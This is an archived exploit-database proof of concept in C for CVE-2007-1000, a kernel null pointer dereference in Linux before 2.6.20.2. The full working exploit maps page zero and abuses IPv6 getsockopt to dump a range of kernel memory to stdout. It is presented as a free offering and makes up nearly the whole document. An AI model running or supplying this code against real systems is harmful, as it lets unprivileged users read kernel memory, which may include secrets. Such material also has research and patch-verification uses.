Linux Kernel < 2.6.20.2 - 'IPv6_Getsockopt_Sticky' Memory Leak

/*
 * Linux Kernel IPV6_Getsockopt_Sticky Memory Leak  Proof Of Concept
 * dreyer 07-2007
 * Osu, Tatakae, Sexy Pandas!
 *
 *  Dumps to stdout the memory mapped between INI and END.
 *
 * CVE: CVE-2007-1000  BID: 22904
 *
 *  Affected: Linux Kernel < 2.6.20.2
 *
 * http://bugzilla.kernel.org/show_bug.cgi?id=8134
 *
 * Exploitation based on null pointer dereference: http://lists.immunitysec.com/pipermail/dailydave/2007-March/004133.html
 *
 * For free!!! ( worth 600 EUR in zerobay! )
 *
 */


#include <sys/mman.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#define HOPOPT_OFFSET 8
#define INIADDR 0xc0100000
#define ENDADDR  0xd0000000
unsigned int i;


int main(int argc, char *argv[]) {
  int s;
  unsigned int optlen;
  void *ptr;
  char value[10240];
  char text[12];

  fprintf(stderr,"Ipv6_getsockopt_sticky vuln POC\n"
                 "dreyer '07 - free feels better\n"
                 "Dumping %p - %p to stdout\n",INIADDR,ENDADDR);

  s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
  
  /* Make np->opt = NULL = 0x00000000  through IPV6_2292PKTOPTIONS */
  setsockopt(s, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, (void *)NULL, 0);

  /* Make 0x00000000 address valid */
  ptr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);

  if (ptr != NULL) {
      perror("mmap");
      exit(-1);
  }

  memset(ptr,0,4096);

  /* Make ptr point to np->opt->hopopt =  (0x00000000)->hopopt = 
   * 0x00000000 + 8 */
  ptr=(char *)((char *)ptr+HOPOPT_OFFSET);

  i=INIADDR;
  while(i<ENDADDR) {
      /* Put in hopopt the address we want to read */
      *((int *)ptr)=i;
      optlen=10240;
      /* Get the chunk pointed by hopopt through getsockopt IPV6_DSTOPTS */
      getsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, (void *)value, &optlen);
      if(optlen>0) {
          sprintf(text,"\n%08x:",i);
          write(1,text,strlen(text));
          write(1,value,optlen);
          i=i+optlen;
      } else {
          /* We could not read this portion because of some error, skip it */
          i=i+4;
      }
  }

  return 0;
}

// milw0rm.com [2007-07-10]